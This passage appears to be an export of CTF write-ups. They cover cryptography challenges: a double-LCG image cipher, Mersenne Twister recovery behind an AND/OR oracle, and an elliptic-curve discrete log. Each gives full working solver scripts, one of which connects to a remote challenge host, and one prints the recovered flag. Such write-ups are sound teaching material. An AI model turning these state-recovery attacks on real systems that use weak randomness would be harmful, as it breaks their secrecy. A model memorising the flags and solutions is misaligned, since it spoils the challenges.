[{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from Crypto.Util.number import bytes_to_long from os import urandom from PIL import Image import numpy as np import random class DoubleLCG: def __init__(self, a1,a2, b1,b2, m, seed1, seed2): self.a1 = a1 self.a2 = a2 self.b1 = b1 self.b2 = b2 self.m = m self.state1 = bytes_to_long(urandom(6)) if seed1 is None else seed1 self.state2 = bytes_to_long(urandom(6)) if seed2 is None else seed2 self.counter = 0 def refresh(self): self.counter = 0 self.state2 = (self.a2 * self.state2 + self.b2) % self.m self.state1 = self.state1 ^ (self.state2 \u0026gt;\u0026gt; 40) def next_state(self): self.state1 = (self.a1 * self.state1 + self.b1) % self.m def get_random_bits(self, k): if self.counter == 16: self.refresh() self.counter += 1 self.next_state() return self.state1 \u0026gt;\u0026gt; (48 - k) def get_random_bytes(self, number): bytes_sequence = b\u0026#39;\u0026#39; for i in range(number): bytes_sequence += bytes([self.get_random_bits(8)]) return bytes_sequence def xor_image(strm, im_bytes, im_array): xor_bytes = bytes([a ^ b for a, b in zip(im_bytes, strm)]) xor_array = np.frombuffer(xor_bytes, dtype=im_array.dtype) xor_array = xor_array.reshape(im_array.shape) return Image.fromarray(xor_array) def and_image(strm, im_bytes, im_array): and_out = bytes([a \u0026amp; b for a, b in zip(im_bytes, strm)]) and_out = np.frombuffer(and_out, dtype=im_array.dtype) and_out = and_out.reshape(im_array.shape) return Image.fromarray(and_out) a1, b1, m = 0xC0FF1555, 0xB1, 1 \u0026lt;\u0026lt; 48 a2, b2 = 0xBABE1337, 0xB2 seed1 = bytes_to_long(urandom(6)) seed2 = bytes_to_long(urandom(6)) lcg = DoubleLCG(a1, a2, b1, b2, m, seed1, seed2) inp = Image.open(\u0026#39;serjy.png\u0026#39;) img_array = np.array(inp) img_bytes = img_array.tobytes() stream = lcg.get_random_bytes(len(img_bytes)) print(len(stream)) out = xor_image(stream, img_bytes, img_array) out.save(\u0026#39;serjy_out.png\u0026#39;) # Corrupt image stream2 = b\u0026#39;\\x00\u0026#39;*len(img_bytes) save = [] for _ in range(10): shift = random.randint(0, 7) reveal_int = int.from_bytes(b\u0026#39;\\xff\u0026#39;*9, \u0026#39;big\u0026#39;) \u0026lt;\u0026lt; shift*8 reveal = reveal_int.to_bytes(16, \u0026#39;big\u0026#39;) save.append(reveal) save = b\u0026#39;\u0026#39;.join(save) idx = random.randint(0, (len(stream2) - len(save))//16) * 16 stream2 = stream2[:idx] + save + stream2[idx + len(save):] out = and_image(stream2, img_bytes, img_array) out.save(\u0026#39;serjy_corrupt.png\u0026#39;) The other notorious challenge from this ctf that managed to stay unsolved for the entire competition. It\u0026rsquo;s a shame, the decrypted image is really nice, I wanted you to see it 😔\nAnalysis Functionality You\u0026rsquo;re given 2 images alongside the source code:\nserjy_out.png: The plain image xored with a random keystream derived from two intertwined LCGs serjy_corrupt.png: A small part of the plain image The keystream is pseudorandomly generated using 2 LCGs Linear congruential generators (lets\u0026rsquo;s call them $L_1$ and $L_2$ for convenience) in the following manner:\nBoth LCGs are initialized with a 48 bit random initial seed. The output keystream bytes are exclusively derived from $L_1$ Each output byte advances the $L_1$ state by $1$ Every $16$ bytes, $L_2$ advances in state by $1$ and $L_1$\u0026rsquo;s state is \u0026ldquo;refreshed\u0026rdquo; as follows: $$ state_1 = state_1 \\oplus \\left( state_2 \\gg 40 \\right) $$ AKA: $state_1$ is set to $state_1$ XOR $state_2$\u0026rsquo;s most significant byte This keeps on going until we encrypt the entire image\nKnown Plaintext Attack We know that LCGs are a deprecated cryptographic primitive that have been proven broken time and time again, as with just a few outputs we\u0026rsquo;re capable of reconstructing the entire state of the generator (more about the technical details here)\nTo do so, you need enough to know some parts of the keystream otherwise you\u0026rsquo;ll be driving blindly. That is why I gave you serjy_corrupt.png, letting you perform some sort of known plaintext attack. Xoring it with the encrypted image will grant you some bytes of the keystream, but only some of them!\nTruncated LCG Attack the problem with the aforementioned method, is that you need the full states of the LCG generator (pretty similar to mt19937 for the jigsaw challenge)\u0026hellip; or do you? *Vsauce theme *\nTurns out that, even with a truncated output, you can recover the entire state of a congruential generator! We can use Z3 like the jigsaw task, but it\u0026rsquo;ll take a LOOOOT longer, so why don\u0026rsquo;t we use something else?\nNotice the first word of the acronym LCG? Linear? Interesting\u0026hellip; What can we use to model linear systems? THAT\u0026rsquo;s RIGHT! FUCKING ALGEBRAAAAAA\nSince our LCGs are defined by the recurrence $x_{i+1} \\equiv a \\cdot x_i + c \\pmod m$. We are given the truncated outputs $y_i$, which are the $s$ most significant bits of the $k$-bit state $x_i$. This means $x_i = y_i \\cdot 2^{k-s} + \\delta_i$, where $\\delta_i$ is the unknown lower part, $0 \\le \\delta_i \u0026lt; 2^{k-s}$.\nSubstituting this into the LCG recurrence gives: $$ y_{i+1} \\cdot 2^{k-s} + \\delta_{i+1} \\equiv a \\cdot (y_i \\cdot 2^{k-s} + \\delta_i) + c \\pmod m $$ Rearranging for the unknown $\\delta_i$ terms: $$ \\delta_{i+1} - a \\cdot \\delta_i \\equiv a \\cdot y_i \\cdot 2^{k-s} + c - y_{i+1} \\cdot 2^{k-s} \\pmod m $$ Let $z_i = a \\cdot y_i \\cdot 2^{k-s} + c - y_{i+1} \\cdot 2^{k-s}$. The $z_i$ values are known. We now have a system of linear congruences for the small unknown values $\\delta_i$:\n$$ \\delta_1 - a \\cdot \\delta_0 \\equiv z_0 \\pmod m \\\\ \\delta_2 - a \\cdot \\delta_1 \\equiv z_1 \\pmod m \\\\ \\vdots \\\\ \\delta_n - a \\cdot \\delta_{n-1} \\equiv z\\_{n-1} \\pmod m $$Does this look familiar? if you said that it resembles the Hidden Number Problem then you\u0026rsquo;re a fucking nerd, ngl twin💀 but you\u0026rsquo;re right!\nWe can solve this by constructing a lattice as follows:\n$$ B = \\begin{pmatrix} m \u0026 0 \u0026 0 \u0026 \\cdots \u0026 0 \\\\ a^1 \u0026 -1 \u0026 0 \u0026 \\cdots \u0026 0 \\\\ a^2 \u0026 0 \u0026 -1 \u0026 \\cdots \u0026 0 \\\\ \\vdots \u0026 \\vdots \u0026 \\vdots \u0026 \\ddots \u0026 \\vdots \\\\ a^{n-1} \u0026 0 \u0026 0 \u0026 \\cdots \u0026 -1 \\end{pmatrix} $$with $a$ and $m$ being the parameters of our LCG. With this matrix in place, we call for $LLL$ to reduce the lattice, making the calculations more managable, then we can solve our system of equations (which is modeled as a lattice in this case) to recover the $\\delta_i$ values, letting us recover the full state of the LCG in a pretty elegant way!\nDual LCG You might have noticed that we only talked about a single truncated LCG, but we have two of them, and they\u0026rsquo;re intertwined! Guess what, we know $L_1$ is partially derived from $L_2$, meaning that, if we recovered enough concrete states of $L_1$ we\u0026rsquo;re gonna get enough MSBs of $L_2$ to, you guessed it, perform ANOTHER Truncated LCG attack!\nThis might sound a bit convoluted, but think of it like how the earth spins $365$ times around itself, and once around the sun in a single year; now think of the earth as $L_1$ and the sun as $L_2$.\nSounds good xd? Hopefully the script clears things up\nSolution Plan Recover the $L_1$ keysteam bytes with the \u0026ldquo;known plaintext attack\u0026rdquo; Reconstruct each $L_1$ state Derive the $L_2$ state MSBs associated with each $L_1$ Reconstruct the $L_2$ state Use the same keystream derivation backwards to reconstruct the entire keystream XOR the encrypted image with the keystream Note: You might notice that sometimes when you decrypt, the output will still look gibberish. That\u0026rsquo;s why you should always debug your code step by step to get a clear idea of what\u0026rsquo;s going on.\nI purposely left the debugging logs in the solver so you can understand it aswell!\nSolver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 from PIL import Image import numpy as np from Crypto.Util.number import bytes_to_long from pprint import pprint from os import urandom from sage.all import QQ from sage.all import ZZ from sage.all import matrix from sage.all import vector def truncated_lcg_rec(y, k, s, m, a, c): diff_bit_length = k - s delta = c % m y = vector(ZZ, y) for i in range(len(y)): y[i] = (y[i] \u0026lt;\u0026lt; diff_bit_length) - delta delta = (a * delta + c) % m B = matrix(ZZ, len(y), len(y)) B[0, 0] = m for i in range(1, len(y)): B[i, 0] = a ** i B[i, i] = -1 B = B.LLL() b = B * y for i in range(len(b)): b[i] = round(QQ(b[i]) / m) * m - b[i] delta = c % m x = list(B.solve_right(b)) for i, state in enumerate(x): x[i] = int(y[i] + state + delta) delta = (a * delta + c) % m return x class DoubleLCG: def __init__(self, a1,a2, b1,b2, m, seed1, seed2): self.a1 = a1 self.a2 = a2 self.b1 = b1 self.b2 = b2 self.m = m self.state1 = bytes_to_long(urandom(6)) if seed1 is None else seed1 self.state2 = bytes_to_long(urandom(6)) if seed2 is None else seed2 self.counter = 0 def refresh(self): self.counter = 0 self.state2 = (self.a2 * self.state2 + self.b2) % self.m self.state1 = self.state1 ^ (self.state2 \u0026gt;\u0026gt; 40) def next_state(self): self.state1 = (self.a1 * self.state1 + self.b1) % self.m def get_random_bits(self, k): if self.counter == 16: self.refresh() self.counter += 1 self.next_state() return self.state1 \u0026gt;\u0026gt; (48 - k) def get_random_bytes(self, number): bytes_sequence = b\u0026#39;\u0026#39; for i in range(number): bytes_sequence += bytes([self.get_random_bits(8)]) return bytes_sequence def xor_image(strm): xor_bytes = bytes([a ^ b for a, b in zip(enc_bytes, strm)]) xor_array = np.frombuffer(xor_bytes, dtype=enc_array.dtype) xor_array = xor_array.reshape(enc_array.shape) return Image.fromarray(xor_array) a1, b1, m = 0xC0FF1555, 0xB1, 1 \u0026lt;\u0026lt; 48 a2, b2 = 0xBABE1337, 0xB2 def prev_state(state, a, b, m): return (state - b) * pow(a, -1, m) % m def prev_refresh(state1_after, state2_after, a1, a2, b1, b2, m): state1_before = state1_after for _ in range(16): state1_before = prev_state(state1_before, a1, b1, m) state1_mid = state1_before ^ (state2_after \u0026gt;\u0026gt; 40) state2_before = prev_state(state2_after, a2, b2, m) return state1_mid, state2_before corrupt = Image.open(\u0026#39;serjy_corrupt.png\u0026#39;) corrupt_array = np.array(corrupt) corrupt_bytes = corrupt_array.tobytes() enc = Image.open(\u0026#39;serjy_out.png\u0026#39;) enc_array = np.array(enc) enc_bytes = enc_array.tobytes() chunks = {} idx = 0 for i in range(0,len(corrupt_bytes),16): if corrupt_bytes[i:i+16] != b\u0026#39;\\x00\u0026#39;*16: chunk = corrupt_bytes[i:i+16] for j in range(16): if chunk[j] != 0: idx = j break idx = i + idx print(f\u0026#34;\\nIndex: {idx}\u0026#34;) ret = [x ^ y for x, y in zip(corrupt_bytes[idx:idx+9], enc_bytes[idx:idx+9])] print(ret) chunks[idx] = ret seeds = [] for k, v in chunks.items(): if len(v) \u0026gt;= 9: try: s = truncated_lcg_rec(v, 48, 8, m, a1, b1) if s: st = prev_state(s[0], a1, b1, m) print(f\u0026#34;Recovered state: {st}\u0026#34;) position_in_stream = k lg = DoubleLCG(a1, a2, b1, b2, m, st, st) stream = lg.get_random_bytes(16) splits = [sk for sk in stream] print(f\u0026#34;Index: {k} | Stream: {splits}\u0026#34;) block_number = position_in_stream // 16 offset_in_block = position_in_stream % 16 seeds.append((st, offset_in_block, block_number)) print(f\u0026#34;Successfully recovered state from chunk at position {k}\u0026#34;) except Exception as e: print(f\u0026#34;Failed to recover state from chunk at position {k}: {e}\u0026#34;) continue else: print(f\u0026#34;Chunk at position {k} is too short to recover a state: {len(v)} bytes\u0026#34;) exit() if not seeds: print(\u0026#34;No valid seeds recovered!\u0026#34;) exit() seeds.sort(key=lambda x: x[2]) # Sort by block number pprint(seeds) normalized_seeds = [] for s, offset, block_num in seeds: ps = s for i in range(offset): ps = prev_state(ps, a1, b1, m) normalized_seeds.append((ps, block_num)) print(\u0026#34;Normalized seeds:\u0026#34;) pprint(normalized_seeds) prev = 0 second_states = [] for i in range(len(normalized_seeds)-1): lgg = DoubleLCG(a1, a2, b1, b2, m, normalized_seeds[i][0], normalized_seeds[i][0]) last = 0 for j in range(16): lgg.next_state() last = lgg.state1 print(last\u0026gt;\u0026gt;40, end=\u0026#39; \u0026#39;) print() print(f\u0026#34;Last state for seed {i}: {last}\u0026#34;) second_states.append(last ^ normalized_seeds[i+1][0]) print(\u0026#34;Second states:\u0026#34;) pprint(second_states) current_state2 = truncated_lcg_rec(second_states, 48, 8, m, a2, b2)[0] print(f\u0026#34;Recovered second state: {current_state2}\u0026#34;) sec1, block_num = normalized_seeds[0] sc2 = prev_state(current_state2, a2, b2, m) lcg = DoubleLCG(a1, a2, b1, b2, m, sec1,sc2 ) _ = lcg.get_random_bytes(16) #for alignment s1,s2 = lcg.state1, lcg.state2 for _ in range(block_num): s1, s2 = prev_refresh(s1, s2, a1, a2, b1, b2, m) s2 = (s2*a2+b2)%m s1 = s1 ^ (s2 \u0026gt;\u0026gt; 40) initial_lcg = DoubleLCG(a1, a2, b1, b2, m, s1, s2) stream = initial_lcg.get_random_bytes(len(enc_bytes)) sk = b\u0026#39;\\x00\u0026#39; * 16 + stream out = xor_image(sk) out.save(f\u0026#39;decrypted_serjy.png\u0026#39;) Here\u0026rsquo;s the decrypted picture if you\u0026rsquo;re wondering!\n","date":"2025-07-17T21:00:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/toxicity-summerrush-ctf/","title":"Toxicity - SummerRush CTF"},{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from random import Random from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Cipher import AES from Crypto.Util.Padding import pad import os FLAG = os.getenv(\u0026#34;FLAG\u0026#34;, \u0026#34;FL1TZ{dummy_dum_dum}\u0026#34;) COLOR_BLACK = \u0026#34;\\x1b[30m\u0026#34; COLOR_RED = \u0026#34;\\x1b[31m\u0026#34; COLOR_GREEN = \u0026#34;\\x1b[32m\u0026#34; COLOR_YELLOW = \u0026#34;\\x1b[33m\u0026#34; COLOR_BLUE = \u0026#34;\\x1b[34m\u0026#34; COLOR_MAGENTA = \u0026#34;\\x1b[35m\u0026#34; COLOR_CYAN = \u0026#34;\\x1b[36m\u0026#34; COLOR_RESET = \u0026#34;\\x1b[0m\u0026#34; BOLD = \u0026#34;\\x1b[1m\u0026#34; RESET_BOLD = \u0026#34;\\x1b[22m\u0026#34; class Jigsaw: def __init__(self): self.dealer = Random() def get_piece(self): return self.dealer.getrandbits(32) def and_enc(self, pt): return pt \u0026amp; self.get_piece() def or_enc(self, pt): return pt | self.get_piece() def encrypt(self, pt): out = bytearray() methods = self.dealer.getrandbits(len(pt) // 4) for i in range(0, len(pt), 4): pick = (methods \u0026gt;\u0026gt; (i // 4)) \u0026amp; 1 method = [self.and_enc, self.or_enc][pick] int_pt = bytes_to_long(pt[i:i+4]) block = method(int_pt) out += long_to_bytes(block,4) return out def get_flag(self): iv = long_to_bytes(self.dealer.getrandbits(128),16) key = long_to_bytes(self.dealer.getrandbits(256), 32) cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_flag = cipher.encrypt(pad(FLAG.encode(),16)) return iv + encrypted_flag HEADER = f\u0026#34;\u0026#34;\u0026#34; {COLOR_YELLOW}{BOLD}IN/ RAINBOWS {COLOR_BLUE}IN RAIN/BOWS {COLOR_RED}IN RAINBOW/S {COLOR_GREEN}IN RAINBOWS/ {COLOR_YELLOW}IN RAIN_BOWS {COLOR_RED}RA D IOHEA_D {COLOR_CYAN}_RAD IO HEA D{RESET_BOLD}{COLOR_RESET} \u0026#34;\u0026#34;\u0026#34; def main(): jig = Jigsaw() enc_flag = jig.get_flag() print(HEADER) print(f\u0026#34;This is the only piece you\u0026#39;ll ever get, make good use of it: {enc_flag.hex()}\u0026#34;) remaining = 7200 while remaining \u0026gt; 0: pt = input(\u0026#34;Come on and let it out (hex) \u0026gt; \u0026#34;).strip() try: pt_bytes = bytes.fromhex(pt) if len(pt) % 4 != 0 and len(pt) \u0026gt;= 4: print(\u0026#34;Plaintext length must be a multiple of 4 bytes.\u0026#34;) continue if len(pt_bytes) \u0026gt; remaining: print(f\u0026#34;Don\u0026#39;t get carried away, max {remaining} bytes allowed.\u0026#34;) continue enc = jig.encrypt(pt_bytes) print(f\u0026#34;A sliver of light: {enc.hex()}\u0026#34;) remaining -= len(pt_bytes) except ValueError as e: print(f\u0026#34;Looks like you got lost in between the notes: {e}\u0026#34;) exit(0) print(\u0026#34;Go ahead, run away from me...\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Ahh yes, the infamous Jigsaw puzzle than many players spent hours bashing their head against xd. This is one of the two challenges I made that remained unsolved for the entire competition.\nSo as promised, here\u0026rsquo;s a writeup 😉\nI also wanted to follow a musical theme across all challenges (this one about radiohead, the ZKP one about Green Day, Toxicity about System of a Down\u0026hellip;), I hope you appreciated it 😁\nAnalysis Functionality Before trying anything, we gotta understand what we\u0026rsquo;re working with, aswell as our limitations:\nWe have a centralized \u0026ldquo;dealer\u0026rdquo; (which you can think of as a single prng state) responsible for generating all of our random numbers The first random outputs are used to generate the AES key and iv used to encrypt the flag We get access to an oracle that \u0026ldquo;encrypts\u0026rdquo; our input using a random keystream provided by the dealer There is a limit on the length of our input (7200 bytes) The \u0026ldquo;encryption\u0026rdquo; is done an unconventional method, juggling AND and OR Lossy Encryption The encryption method is pretty unconventional, so let\u0026rsquo;s break it down in detail:\nAfter each input, a random methods integer is generated for each block of 4 bytes, the ith bit of methods will determine which operation we\u0026rsquo;re gonna perform between a random 32 bit integer and the plaintext block if the bit is 0, we perform an AND operation if it\u0026rsquo;s 1, we perform an OR We concatenate the resulting ciphertext blocks and return them to the player What you\u0026rsquo;ll notice it that we didn\u0026rsquo;t use a classic XOR operation, otherwise the challenge would be trivial!\nContrary to a XOR operation, \u0026amp; and | are not bijective! (aka, we lose information after the operation), meaning, given $x$ and $y$ with $x = y$ \u0026amp; $c$ or $x = y \\vert c$ for some unknown $c$, it is mathematically impossible to pinpoint $c$!\nUnless\u0026hellip;.\nThe Split Here\u0026rsquo;s the neat thing, we know that $c$\u0026amp;$y$ gives us no information regarding $c$, but what if $y=1$? Suddenly, $x=1$\u0026amp;$c = c$!\nSame thing goes for OR: $x=0 \\vert c = c $\nHow could this be helpful though? Think about it for a second: We don\u0026rsquo;t know which operation is performed on each plaintext block, but think about what happens if we encrypt 0xffff0000!! Let\u0026rsquo;s consider the random number for each block $x_i$:\nIf the operation is AND: We get $$ \\text{0x????0000} = \\left( \\left( x_i \\gg 16 \\right) \\mathbin{\\\u0026} \\text{0xFFFF} \\right) \\ll 16 $$ which essentially translates to The 16 Most Significant Bits of $x_i$, shifted to the left by 16 bits If the operation is OR: We get $$ \\text{0xFFFF????} = \\left(x_i\\mathbin{\\\u0026} \\text{0xFFFF} \\right) \\vert \\text{0xFFFF0000} $$ AKA The 16 Least Significant Bits of $x_i$ This ultimately gives us half of each randomly generated number by the dealer, aswell as methods since we now know the exact order of the methods used!\nHere\u0026rsquo;s the second challenge though: How do you recover a Mersenne Twister RNG state given partial information about the outputs?\nHere, we call for symbolic modeling of the problem, aka Z3\nSymbolic Solution If you\u0026rsquo;re not familiar with symbolic solvers like z3 and or-tools, basically they\u0026rsquo;re what we call SAT solvers used to model a set of equations and try their best to find a solution.\nThere are plenty of mersenne solvers online, but most of them try algebraic solutions that require the full prng output in sequential order for them to work. We don\u0026rsquo;t have that privilege here so we resort to SAT solvers that help us recover the missing half of each entry.\nNote: There are methods to solve this using linear algebra over $GF(2)$, but they are waaaay too complicated, and are outside the scope of this writeup.\nThere is this repo that has a great implementation for symbolic mersenne solver that works even with missing bits or even entirely skipped states!. It\u0026rsquo;s very heavy duty though, so it works best the more information you give it.\nLuckily for us, we have plenty!\nIt should be noted that the symbolic solver will give us the state of the rng at the end of its executon. We still need to walk back in states to reach the one used to generate the AES key!\nSolution Plan Get as many encrypted blocks as possible, $900$ in our case, but even $624$ would be enough, but will take a lot longer to solve. Recover the state at the end Walk back in states with a simulated MT implementation Regenerate the key (use the iv to verify that it\u0026rsquo;s correct), and decrypt the flag! Solver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from Crypto.Util.number import bytes_to_long, long_to_bytes from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from untwister import Untwister # Source: https://github.com/icemonster/symbolic_mersenne_cracker/ (slightly modified) from mersy import MT19937 # Source: https://github.com/twisteroidambassador/mt19937-reversible (slightly modified) from pwn import * io = remote(\u0026#34;20.218.234.6\u0026#34;, 1000) pt = b\u0026#39;FFFF0000\u0026#39;*1800 io.recvuntil(b\u0026#34;This\u0026#34;) enc_flag = bytes.fromhex(io.recvline().strip().decode().split(\u0026#34;: \u0026#34;)[1]) io.sendlineafter(b\u0026#34; (hex) \u0026gt; \u0026#34;, pt) io.recvline() k = io.recvline().strip().decode().split(\u0026#34;: \u0026#34;)[1] enc = bytes.fromhex(k) io.close() blocks = [enc[i:i+4] for i in range(0, len(enc), 4)] print(len(blocks), \u0026#34;blocks of 4 bytes each\u0026#34;) ut = Untwister() for b in blocks: test = bytes_to_long(b) \u0026amp; 0xFFFF meth = 1 if ( test == 0) else 0 if meth: tb = bytes_to_long(b) \u0026gt;\u0026gt; 16 known_bits = bin(tb)[2:].rjust(16, \u0026#39;0\u0026#39;) sub = known_bits + \u0026#34;?\u0026#34;*16 ut.submit(sub) else: known_bits = bin(test)[2:].rjust(16, \u0026#39;0\u0026#39;) sub = \u0026#34;?\u0026#34;*16 + known_bits ut.submit(sub) r2, seed_tuple = ut.get_random() rt = MT19937() out = [] for _ in range(624): r = r2.getrandbits(32) out.append(r) print(\u0026#34;Random state cloned successfully!\u0026#34;) rt.clone_state_from_output_and_rewind(out) rt.rewind(len(blocks) + 1800//32 + 8 + 4 + 1) recon_iv = 0 for i in range(4): recon_iv = (rt.get_next_random() \u0026lt;\u0026lt; 32 * i) | recon_iv recon_key = 0 for i in range(8): recon_key = (rt.get_next_random() \u0026lt;\u0026lt; 32 * i) | recon_key iv = enc_flag[:16] enc_flag = enc_flag[16:] print(f\u0026#34;IV : {iv.hex()}\u0026#34;) print(f\u0026#34;Recovered IV: {long_to_bytes(recon_iv, 16).hex()}\u0026#34;) recon_aes = AES.new(long_to_bytes(recon_key, 32), AES.MODE_CBC, long_to_bytes(recon_iv, 16)) dec_flag = unpad(recon_aes.decrypt(enc_flag), 16) print(f\u0026#34;Recovered flag: {dec_flag.decode()}\u0026#34;) FL1TZ{atl3Ast_g1mme_th3_S33D_bef0R3_y0u_run_4Way_fr0M_m3:(}\n","date":"2025-07-17T20:06:16+01:00","image":"https://cs.bitraven.pro/img/banner.png","permalink":"https://cs.bitraven.pro/p/jigsaw-falling-into-place-summerrush-ctf/","title":"Jigsaw Falling into Place - SummerRush CTF"},{"content":" Click to expand challenge code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from hashlib import sha256 from Crypto.Util.number import bytes_to_long, long_to_bytes from random import randint from Crypto.Cipher import AES from Crypto.Util.Padding import pad import json FLAG = b\u0026#34;FL1TZ{??????????????????????????}\u0026#34; p = 0xa9fb57dba1eea9bc3e660a909d838d726e3bf623d52620282013481d1f6e5377 a = -3 b = 27 E = EllipticCurve(GF(p), [a,b]) G = E.gens()[0] j = E.j_invariant() def gen_random_number(): while True: P = E.random_point() if P.order() \u0026gt; j: break return bytes_to_long(sha256(long_to_bytes(int(P.xy()[0]))).digest()[:8]) def derive_key_iv(secret): key = sha256(long_to_bytes(secret)).digest()[:32] iv = sha256(key).digest()[:16] return key, iv SK = gen_random_number() P = SK * G print(G) print(P) key, iv = derive_key_iv(SK) cipher = AES.new(key, AES.MODE_CBC, iv) ct = cipher.encrypt(pad(FLAG, 16)) output = { \u0026#34;iv\u0026#34;: iv.hex(), \u0026#34;ct\u0026#34;: ct.hex(), \u0026#34;Px\u0026#34;: hex(int(P.xy()[0])), \u0026#34;Gx\u0026#34;: hex(int(G.xy()[0])), } with open(\u0026#34;lights.json\u0026#34;, \u0026#34;w\u0026#34;) as f: json.dump(output, f) This is the only Elliptic Curves challenge in the ctf. All things considered, I think it was one of the easier ones, which made surprised to see that only 2 teams managed to solve it 😕\nAnalysis Functionality You\u0026rsquo;re given a lights.sage file that has a custom ECC implementation\nCustom curve parameters (which should make you raise an eyebrow immediately whenever you see it), even though the order $p$ corresonds to the curve $BRAINPOOLp512r1$ We generate a random secret key using a suspicious method We compute the public key $P$ in classic fashion We drive the AES key and iv from the secret key using a hash function We encrypt the flag with AES using those parameters We spit out the ciphertext, iv, and the x coordinated of the publig key and generator Red Herring I assume most of the players looked at the ger_random_number() function and lost their mind xd\nWHAT IS A j INVARIANT????\nWhat\u0026rsquo;s so special about a point with an order above it????\nThe funny thing is, most points on a relatively secure curve have orders below $j$, so picking one above it makes the point not more special than any other random point, which make it no more special than any randomly generated number! (technically, this method does introduce some bias, but it will be irrelevant in this case)\nSo we could assume that S is nothing but a randomly generated 64 bit integer\nModified Pohlig-Hellman The classic Pohlig-Hellman algorithm aims to solve ECDLD through divide and conquer war tactics. To put it in perspective, you can\u0026rsquo;t calculate to discrete log of some point in a group with a large order straight away. But if the order isn\u0026rsquo;t a prime number, we could theoretically calculate mini DLs over the subgroups with an order equal to the factors of the curve, and then combine our findings using the Chinese remainder theorem.\nHowever, if you try that in this case, you\u0026rsquo;ll find that some of the factors of the curve\u0026rsquo;s order are unreasonably large. But here\u0026rsquo;s the thing\u0026hellip;\nFirst let\u0026rsquo;s do a quick recap of how CRT works:\nGiven a system of simultaneous congruences for an integer $x$:\n$$ \\begin{cases} x \\equiv a_1 \\pmod{n_1} \\\\ x \\equiv a_2 \\pmod{n_2} \\\\ \\vdots \\\\ x \\equiv a_k \\pmod{n_k} \\end{cases} $$Where the moduli $n_1, n_2, \\dots, n_k$ are pairwise coprime (i.e., $\\gcd(n_i, n_j) = 1$ for $i \\neq j$), the Chinese Remainder Theorem states there is a unique solution for $x$ modulo $N = n_1 n_2 \\cdots n_k$.\nThe solution is found by:\n$$ x = \\sum_{i=1}^{k} a_i N_i y_i \\pmod{N} $$where $N = \\prod_{i=1}^{k} n_i$, $N_i = N/n_i$, and $y_i$ is the modular multiplicative inverse of $N_i$ modulo $n_i$, such that $N_i y_i \\equiv 1 \\pmod{n_i}$.\nIn our case, we\u0026rsquo;re looking for $S \\approx 64$ bits, so all we need is to find $x$ mod some $N \\ge 64$ bits.\nIn short, we only need factors whose product comes out to $64$ bits or above, and we have plenty of them!\nSolution Plan Find the order $n$ of the curve Find its factors and consider those whose product comes to 64 bits, discard the others. Perform Pohlig-Hellman using said factors Doing that will give us the secret key, the rest is obvious\nNote: Since I only gave you the $x$ coordinate of $P$ and $G$, and since elliptic curves are symmetric in proportion to the x-axis, you should consider both $Px$ and $-Px \\mod p$, same goes for $G$\nSolver Click to expand solver code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from hashlib import sha256 from Crypto.Util.number import bytes_to_long, long_to_bytes from random import randint from Crypto.Cipher import AES from Crypto.Util.Padding import pad import json p = 0xa9fb57dba1eea9bc3e660a909d838d726e3bf623d52620282013481d1f6e5377 a = -3 b = 27 Fp = GF(p) E = EllipticCurve(Fp, [a,b]) with open(\u0026#34;lights.json\u0026#34;, \u0026#34;r\u0026#34;) as f: data = json.load(f) iv = bytes.fromhex(data[\u0026#34;iv\u0026#34;]) ct = bytes.fromhex(data[\u0026#34;ct\u0026#34;]) Px = int(data[\u0026#34;Px\u0026#34;], 16) Gx = int(data[\u0026#34;Gx\u0026#34;], 16) P = -E.lift_x(Fp(Px)) G = E.lift_x(Fp(Gx)) def derive_key_iv(secret): key = sha256(long_to_bytes(secret)).digest()[:32] iv = sha256(key).digest()[:16] return key, iv n = G.order() factors = n.factor() count_factors_needed = 0 new_order = 1 for f, e in factors: new_order *= f^e count_factors_needed += 1 if new_order.nbits() \u0026gt;= 64: print(\u0026#34;Found enough factors! The rest are not needed\u0026#34;) break factors = factors[:count_factors_needed] subsolutions = [] subgroup = [] for f, e in factors: quotient_n = (n // f ^ e) G0 = quotient_n * G P0 = quotient_n * P k = P0.log(G0) subsolutions.append(k) subgroup.append(f ^ e) found_key = crt(subsolutions, subgroup) print(G) print(P) print(found_key) assert found_key * G 